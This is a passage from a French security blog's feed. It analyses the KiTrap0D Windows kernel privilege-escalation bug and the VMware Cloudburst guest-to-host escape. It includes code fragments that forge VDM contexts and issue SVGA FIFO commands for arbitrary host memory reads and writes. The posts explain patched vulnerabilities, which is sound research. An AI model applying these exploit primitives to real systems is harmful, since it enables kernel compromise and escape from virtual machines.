  ULONG Size; &lt;span style=&quot;color: #FF5555&quot;&gt;// Va être utile par la suite&lt;/span&gt;
  PVDM_INTERRUPTHANDLER VdmInterruptTable;
  PVDM_FAULTHANDLER VdmFaultTable;
  CONTEXT MonitorContext;
  CONTEXT VdmContext; &lt;span style=&quot;color: #FF5555&quot;&gt;// Va être utile par la suite&lt;/span&gt;
  VDMEVENTINFO EventInfo;
  VDM_PRINTER_INFO PrinterInfo;
  ULONG TempArea1&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #5555FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #55FF55&quot;&gt;]&lt;/span&gt;;
  ULONG TempArea2&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #5555FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #55FF55&quot;&gt;]&lt;/span&gt;;
  VDMTRACEINFO TraceInfo;
  ULONG IntelMSW;
  LONG NumTasks;
  PFAMILY_TABLE *pDpmFamTbls;
  BOOLEAN ContinueExecution;
&lt;span style=&quot;color: #55FF55&quot;&gt;}&lt;/span&gt; VdmTib = &lt;span style=&quot;color: #55FF55&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #5555FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #55FF55&quot;&gt;}&lt;/span&gt;;

&lt;span style=&quot;color: #55FF55&quot;&gt;*&lt;/span&gt;NtCurrentTeb&lt;span style=&quot;color: #55FF55&quot;&gt;()-&gt;&lt;/span&gt;Reserved4 = &lt;span style=&quot;color: #55FF55&quot;&gt;&amp;&lt;/span&gt;VdmTib; &lt;span style=&quot;color: #FF5555&quot;&gt;// TEB-&gt;Vdm&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Ensuite pour initialiser la VDM il faut au préalable mapper le premier MB de mémoire virtuelle dans le processus ntvdm.exe. On peut maintenant appeler la fonction VdmpInitialize (via NtVdmControl(3)) Le binaire 16bit pourra donc adresser les 1MB de RAM grâce à la segmentation (cs &amp;lt;&amp;lt; 4) + (eip &amp;amp; 0xffff).&lt;/p&gt;


&lt;p&gt;Maintenant qu'on a initialisé la VDM on va pouvoir jouer avec, pour cela on va s'intéresser à nt!VdmpStartExecution. Cette fonction est invoquée via NtVdmControl(0, NULL). nt!NtVdmControl va d'abord appeler nt!VdmpGetVdmTib pour vérifier que notre VdmTib (TEB-&amp;gt;Vdm) a une taille conforme. Tavis a utilisé une boucle qui incrémente la taille du champ TEB-&amp;gt;Vdm-&amp;gt;Size afin de trouver la bonne taille. (Et pour que l'exploit passe sur la plupart des versions de Windows). Sur Xp la taille est hardcoder.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
nt!VdmpGetVdmTib+&lt;span style=&quot;color: #5555FF&quot;&gt;0x50&lt;/span&gt;:
805b7aad cmp dword ptr [eax],&lt;span style=&quot;color: #5555FF&quot;&gt;674h&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Pourquoi cette valeur, c'est la taille de la structure VdmTib (Elle change suivant les versions de Windows). Avant de lancer l'exécution de la VDM je mets le champ VdmTib.Size = &lt;strong&gt;0x674&lt;/strong&gt;;&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;2] Modification du registre CS en ring3&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;En mode protégé le Cpl (Current Privilege Level) d’un thread est indiqué par les deux bits de poids faible de ces segments CS, DS, ES, FS, GS et SS. C'est une manière simple de savoir s'il doit tourner en ring0(kernel) ou ring3(user). Mais en mode réel cela n'existe pas, l'adressage se fait de la façon suivante: (cs&amp;lt;&amp;lt;4) + (eip&amp;amp;0xffff) (segment+offset). Idem pour le mode virtuel qui nous laisse modifier le registre CS.&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;3] Une &quot;trap frame&quot; ne peut être forgée en ring3&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;La fonction nt!VdmpStartExecution va faire passer notre thread en mode virtuel pour cela elle va faire appelle à la fonction nt!VdmSwapContexts.
Celle-ci va mettre à jour la trap frame crée par KiFastCallEntry avec notre VdmTib.VdmContext.&lt;br /&gt;
La trap frame contient l'état de tout les registres du thread avant le passage en ring0(kernel). Voici ce qui va se passer:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;// J'ai simplifié au maximum
// http://doxygen.reactos.org/d9/d2a/vdmexec_8c_a76568763a2d5e9d5f49cdc36256148b0.html#a76568763a2d5e9d5f49cdc36256148b0&lt;/span&gt;
nt&lt;span style=&quot;color: #55FF55&quot;&gt;!&lt;/span&gt;VdmSwapContexts&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;PKTRAP_FRAME TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; PCONTEXT MonitorContext&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; PCONTEXT VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;) {&lt;/span&gt;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegCs = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegCs;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;HardwareSegSs = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegSs;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Eax = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Eax;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ebx = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ebx;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ecx = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ecx;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Edx = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Edx;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Esi = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Esi;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Edi = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Edi;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ebp = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Ebp;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;HardwareEsp = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Esp;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Eip = VdmContext&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;Eip;

  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegCs &lt;span style=&quot;color: #55FF55&quot;&gt;|=&lt;/span&gt; RPL_MASK;
  TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;HardwareSegSs &lt;span style=&quot;color: #55FF55&quot;&gt;|=&lt;/span&gt; RPL_MASK;
  &lt;span style=&quot;color: #FF5555&quot;&gt;/* Check for bogus CS */&lt;/span&gt;
  &lt;span style=&quot;color: #55FF55&quot;&gt;if (&lt;/span&gt;TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegCs &lt;span style=&quot;color: #55FF55&quot;&gt;&lt;&lt;/span&gt; KGDT_R0_CODE&lt;span style=&quot;color: #55FF55&quot;&gt;) {&lt;/span&gt;
    &lt;span style=&quot;color: #FF5555&quot;&gt;/* Set user-mode */&lt;/span&gt;
    TrapFrame&lt;span style=&quot;color: #55FF55&quot;&gt;-&gt;&lt;/span&gt;SegCs = KGDT_R3_CODE &lt;span style=&quot;color: #55FF55&quot;&gt;|&lt;/span&gt; RPL_MASK;
  &lt;span style=&quot;color: #55FF55&quot;&gt;}
}&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Donc on contrôle notre trap frame. A la fin de la fonction nt!VdmpStartExecution l'instruction IRET fait basculer notre thread vers le ring3(user) et restaure ses registres avec ceux de la trap frame.&lt;br /&gt;
Le registre qui nous intéresse le plus est l'EFLAG qui contient TF=1 et VM=1. Le VM=1 va créer une task en mode virtuel, le TF=1 quand à lui sort de nul part:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
&lt;/pre&gt;



&lt;p&gt;En effet le handler de #DB est la fonction KiTrap01 mais c'est la KiTrap0D qui est appelée. On a donc affaire à une exception de type #GP!&lt;br /&gt;
D'après &lt;a href=&quot;http://www.drdobbs.com/184410566&quot;&gt;Rob Collins&lt;/a&gt;, le comportement de l'instruction IRET avec TF=1 provoque un #GP mais les pentiums les plus récent ne provoque plus de #GP.&lt;/p&gt;


&lt;p&gt;Bref une exception de type #GP est levée, on est encore en ring0 donc il n'y a pas de changement de privilège, la pile n'est pas changée et notre trap frame reste la même. On passe donc par le handler KiTrap0D. Celui-ci va effectuer des tests dont:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
nt!KiTrap0D+&lt;span style=&quot;color: #5555FF&quot;&gt;0x22f&lt;/span&gt;:
804e116e mov eax,offset nt!Ki386BiosCallReturnAddress (805093fd)
804e1173 cmp eax,dword ptr [edx] &lt;span style=&quot;color: #FF5555&quot;&gt;; edx = KTRAP_FRAME.HardwareEsp (VdmContext-&gt;eip)&lt;/span&gt;
...
804e1177 mov eax,dword ptr [edx+4] &lt;span style=&quot;color: #FF5555&quot;&gt;; edx+4 = KTRAP_FRAME.HardwareSegSs (VdmContext-&gt;SegCs)&lt;/span&gt;
804e117a cmp ax,&lt;span style=&quot;color: #5555FF&quot;&gt;0Bh&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Donc en faisant pointer VdmContext-&amp;gt;eip sur l'adresse de Ki386BiosCallReturnAddress (qui a déclenché kitrap0d), et VdmContext-&amp;gt;SegCs sur 0xB on est dirigé vers la fonction Ki386BiosCallReturnAddress. Dans le cas contraire KiTrap0D nous renvoie un &quot;Access violation&quot;.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;// Pour simplifier au max la fonction Ki386BiosCallReturnAddress va faire: &lt;/span&gt;
80509415 mov esp,dword ptr [ebp+&lt;span style=&quot;color: #5555FF&quot;&gt;58h&lt;/span&gt;] &lt;span style=&quot;color: #FF5555&quot;&gt;; esp = &amp;KernelStack (VdmContext.Esi notre fausse pile)&lt;/span&gt;
80509418 add esp,&lt;span style=&quot;color: #5555FF&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #FF5555&quot;&gt;; esp += 4&lt;/span&gt;
...
80509421 mov dword ptr [ecx+&lt;span style=&quot;color: #5555FF&quot;&gt;18h&lt;/span&gt;],edi &lt;span style=&quot;color: #FF5555&quot;&gt;; (KTHREAD)CurrentThread-&gt;InitialStack = &amp;KernelStack+0x230&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Donc on contrôle ESP et ces 8 premiers DWORD (Le reste est écrasé). C'est assez pour écraser le saved EIP et rediriger le flux d'exécution vers une fonction de notre dll. Par contre on peut voir aussi qu'avant d'arriver dans notre dll, Ki386BiosCallReturnAddress fou le bordel dans notre KTHREAD. Donc dès qu'on retourne dans notre dll on profite d'être en ring0 (cpl à 0 pour le registre cs) pour bloquer les interruptions et réparer notre KTHREAD.&lt;br /&gt;
Tavis scan les 512 premier DWORD de cette structure, j'ai pas trop capté l'utilité, surement car cette structure change en fonction des versions de windows. En tout cas il y a plus simple (je peux me tromper) la structure KTHREAD est modifiée au niveau du champ InitialStack.&lt;/p&gt;


&lt;p&gt;offset du champ InitialStack dans la structure KTHREAD:&lt;br /&gt;
&lt;strong&gt;+0x18&lt;/strong&gt; pour Xp sp3&lt;br /&gt;
&lt;strong&gt;+0x28&lt;/strong&gt; pour Vista et Win Seven&lt;/p&gt;


&lt;p&gt;Cela fait 2 valeurs à scanner, enfin une en utilisant GetVersionEx(). Ensuite on lui remet sa valeur par défaut. Dans le cas contraire au moment du changement de thread (nt!SwapContext) on se mange un joli bsod.&lt;/p&gt;


&lt;p&gt;Le PoC de tavis est &lt;a href=&quot;http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip&quot;&gt;là&lt;/a&gt;, le code est super clean cela vaut le coup d'oeil.&lt;br /&gt;
EDIT: Merci à ivanlef0u pour la relecture/correction :]&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Jan/341&quot;&gt;http://seclists.org/fulldisclosure/2010/Jan/341&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://cert.lexsi.com/weblog/index.php/2010/01/20/359-windows-de-nouveau-impacte-par-une-0-day-vdm&quot;&gt;http://cert.lexsi.com/weblog/index.php/2010/01/20/359-windows-de-nouveau-impacte-par-une-0-day-vdm&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Des sites qui m'ont fait gagner du temps:&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.reactos.org/fr/index.html&quot;&gt;http://www.reactos.org/fr/index.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://msdn.msuiche.net/&quot;&gt;http://msdn.msuiche.net/&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2010/01/24/WAZA#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2010/01/24/WAZA#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/10</wfw:commentRss>
      </item>
    
  <item>
    <title>VMWare Cloudburst suite</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/09/11/VMWare-Cloudburst-suite</link>
    <guid isPermaLink="false">urn:md5:39ec4b062c09c021743ccceeab51cc99</guid>
    <pubDate>Mon, 14 Sep 2009 07:49:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Articles</category>
            
    <description>    &lt;p&gt;Un bref rappel: &lt;br /&gt;
les failles que je décris se situent dans le driver SVGA de VMWare (&lt;a href=&quot;http://lists.vmware.com/pipermail/security-announce/2009/000055.html&quot;&gt;patché depuis plusieurs mois&lt;/a&gt;). Nous pouvons interagir avec ce driver en écrivant des commandes dans la mémoire fifo. (Si vous n'avez pas suivi allez voir &lt;a href=&quot;http://mysterie.fr/blog/index.php?post/2009/08/05/VMWare&quot;&gt;le post précédent&lt;/a&gt;).&lt;/p&gt;


&lt;p&gt;En fonction du fichier de configuration de votre VM et de la version de VMWare vous aurez accès ou non à certaine commande. Je ne traiterai pas toutes les commandes, pour jouer avec les requêtes 3D il vous faut ajouter à votre fichier de configuration: mks.enable3d = &quot;TRUE&quot; &lt;br /&gt;
Les requêtes 3D ne sont pas documenté, et la mémoire fifo est utilisée comme couche de transport pour l'architecture SVGA3D utiliser par D3D. Je ne m'y suis pas frotté. On fera juste le tour des commandes RECT_COPY et DRAW_GLYPH, qui appartiennent aux requêtes 2D.&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;I] Lecture mémoire relative.&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;Pour pouvoir lire la mémoire de l'host on peut utiliser la commande RECT_COPY:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
#define SVGA_CMD_RECT_COPY  &lt;span style=&quot;color: #5555FF&quot;&gt;0x3&lt;/span&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;/* FIFO layout: Source X, Source Y, Dest X, Dest Y, Width, Height */&lt;/span&gt;

vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); &lt;span style=&quot;color: #FF5555&quot;&gt;// SURF_COPY&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x80000000&lt;/span&gt;-offset); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); &lt;span style=&quot;color: #FF5555&quot;&gt;// Width&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x1&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Height&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;Source X prend comme paramètre des coordonnées en PIXEL. C'est à dire que si SourceX vaut 1 la copie s'effectuera avec un décalage de 4 byte par rapport au début du frame buffer. Avec 0x80000000-offset on obtient donc un offset négatif. Pour que la commande RECT_COPY soit exécutée il faut que deux conditions soit remplies; SourceX&amp;gt;0 et SourceX+Width&amp;lt;0 sachant que SourceX+Width est stocké dans une variable non signée, dans notre code on aura SourceX+Width = 0x80000000-offset+offset = -2147483647. Pour dumper la mémoire après le framme buffer il suffit de jouer avec les deux paramètres vu précédemment.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); &lt;span style=&quot;color: #FF5555&quot;&gt;// SURF_COPY&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x80000000&lt;/span&gt;-offset); &lt;span style=&quot;color: #FF5555&quot;&gt;// Width&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x1&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Height&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;&lt;ins&gt;II] Lecture mémoire absolu.&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;Le problème de RECT_COPY c'est que la lecture mémoire est relative. Si l'on essaye de copier une page mémoire de vmware-vmx qui n'existe pas, on crash le programme. Donc pour fiabiliser l'exploitation du bug il faut trouver ou se situe le frame buffer du coté host. Sous un host vista la page précédant le frame buffer contient l'adresse que nous recherchons. Sous xp c'est plus ardu, on peut retrouver l'adresse avec une commande 3D ou se risquer à utiliser la même méthode que pour un host vista. Mais il y a des risques de violation d'accès mémoire. Chez moi la plupart de ces techniques fonctionnent (VMWare player Build: 118166) mais sur d'autre configuration cela est impossible.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;// Exemple pour vista&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); &lt;span style=&quot;color: #FF5555&quot;&gt;// SURF_COPY&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x80000000&lt;/span&gt; - &lt;span style=&quot;color: #5555FF&quot;&gt;0x4&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Source Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x4&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Width&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, &lt;span style=&quot;color: #5555FF&quot;&gt;0x1&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Height&lt;/span&gt;
FBStartOnHost = VMWARE.FrameBuffer[2];

if(dest &amp;lt; FBStartOnHost) { &lt;span style=&quot;color: #FF5555&quot;&gt;// dest représente une adresse précise&lt;/span&gt;
  offset = (FBStartOnHost-dest)/4;
} else {
  offset = (dest-FBStartOnHost)/4;
}
&lt;/pre&gt;



&lt;p&gt;Maintenant que l'on a retrouvé l'adresse du frame buffer on peut lire précisément la mémoire de l'host. On peut donc par exemple récupérer le PeHeader de vmware-vmx (se situant toujours en 0x400000). Pour avoir la version de VMWare et une vue précise des sections principales de l'exécutable code/data etc.&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;III] Écriture en mémoire.&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;On peu utiliser la commande RECT_COPY pour écraser la mémoire de l'host. Mais cette commande est mieux filtrée au niveau de la destination car dépendante des valeurs de SVGA_REG_WIDTH et SVGA_REG_HEIGHT. Donc on ne peut écraser seulement quelques Ko précédant le frame buffer. Sur ma version de VMWare la zone mémoire modifiable correspond au heap.
J'ai pensé récupérer le TEB se situant en 0x7FFDF000, pour ensuite exploiter un heap overflow. Mais à cette adresse j'ai des valeurs ne correspondant pas à une structure de type TEB. Et un heap overflow n'est pas forcement une exploitation fiable surtout quand il est dépendant de deux valeurs qu'on ne peut ajuster comme on le désire.&lt;/p&gt;


&lt;p&gt;J'ai dû me tourner vers la commande DRAW_GLYPH. Pour vérifier si elle est disponible:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
WRITE_PORT_ULONG((PULONG)(IOports+SVGA_INDEX_PORT), SVGA_REG_CAPABILITIES);
if(READ_PORT_ULONG((PULONG)(IOports+SVGA_VALUE_PORT)) &amp; SVGA_CAP_GLYPH) DbgPrint(&quot;Glyph enable\n&quot;);
&lt;/pre&gt;



&lt;p&gt;Si ce n'est pas le cas il faut rajouter svga.yesGlyphs=&quot;TRUE&quot; dans votre fichier de configuration. Cette commande n'est absolument pas filtrée au niveau de la destination en X/Y, permettant ainsi d'écrire en mémoire où l'on veut. La taille minimal d'un glyph est de 32pixel et il vas écrire un seul pixel à l'offset 0x6 par rapport à Destination X. Il faut donc faire attention au violation d'accès quand on écrit au bord d'une plage mémoire. Un petit exemple:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;// On va écrire 0xD34DB33F dans le premier DWORD du frame buffer.&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, SVGA_CMD_DRAW_GLYPH);
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, &lt;span style=&quot;color: #5555FF&quot;&gt;0x3FFFFFF9&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest X&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, &lt;span style=&quot;color: #5555FF&quot;&gt;0x0&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Dest Y&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, &lt;span style=&quot;color: #5555FF&quot;&gt;0x20&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Width&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, &lt;span style=&quot;color: #5555FF&quot;&gt;0x1&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Height&lt;/span&gt;
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, &lt;span style=&quot;color: #5555FF&quot;&gt;0xD34DB33F&lt;/span&gt;); &lt;span style=&quot;color: #FF5555&quot;&gt;// Valeur&lt;/span&gt;
&lt;/pre&gt;



&lt;p&gt;On peut donc lire/écrire en mémoire de façon fiable. En résumé le plus dur est de retrouver l'adresse du frame buffer sans cracher vmware-vmx. Il est ensuite possible d'outrepasser des protections tel que l'ASLR ou le DEP. Crée un canal de communication dans une zone mémoire partagée entre le guest et l'host (le framme buffer par exemple) et exécuter du code. VMWare tournant en Administrateur/root et possédant le token SeLoadDriverPrivilege sous windows, au niveau du code exécute on peut tout faire :)&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/09/11/VMWare-Cloudburst-suite#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/09/11/VMWare-Cloudburst-suite#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/8</wfw:commentRss>
      </item>
    
  <item>
    <title>VMWare Cloudburst</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/08/05/VMWare</link>
    <guid isPermaLink="false">urn:md5:b4bd85599cf0cb9a0ab67604d3a0ac74</guid>
    <pubDate>Wed, 05 Aug 2009 23:30:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Articles</category>
            
    <description>    &lt;p&gt;Le &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf&quot;&gt;paper&lt;/a&gt; sur la faille VMWare découverte par &lt;a href=&quot;http://expertmiami.blogspot.com/&quot;&gt;Kostya&lt;/a&gt; est enfin sortie. Le principe est de s'évader de la machine qui est virtualisé pour exécuter du code sur la machine hôte. La faille en elle même est situé dans le filtrage des requêtes vidéos, petite explication:&lt;/p&gt;


&lt;p&gt;VMWare virtualise une carte vidéo appelée &quot;VMWare SVGA II&quot;, on peut la retrouver par le biais du bus PCI. Pour plus d'explication sur le bus PCI je vous conseil &lt;a href=&quot;http://rce.servhome.org/blog/?p=1&quot;&gt;cet article&lt;/a&gt;. La carte vidéo a pour Vendor ID: 0x15ad et Product ID: 0x0405 et est composée de 3 plages mémoire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;La première représente la plage de port I/O (Port mapped I/O). Pour simplifier se sont grâce à elles qu'on pourra communiquer avec la carte graph' virtuelle à l'aide d'instruction assembleur IN/OUT.&lt;/li&gt;
&lt;li&gt;La deuxième, est généralement la portion de mémoire la plus grande représentant le frame buffer, C'est à dire l'espace mémoire en ram réservé à la mémoire vidéo. (Chaque pixel ne correspond pas forcement à 4 bytes dans cette mémoire, mais c'est généralement le pitch par défaut sur la plupart des box).&lt;/li&gt;
&lt;li&gt;La troisième est dénommé SVGA FIFO. C'est celle qui nous intéresse. Cette espace mémoire est utilisé pour stoker des commandes vidéos. Elles sont filtrées du coté de l'host (vmware-vmx.exe).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les quatre premier DWORD de la mémoire SVGA FIFO représente des offset précis:&lt;br /&gt;
SVGA_FIFO_MIN &lt;br /&gt;
SVGA_FIFO_MAX &lt;br /&gt;
SVGA_FIFO_NEXT_CMD &lt;br /&gt;
SVGA_FIFO_STOP&lt;/p&gt;


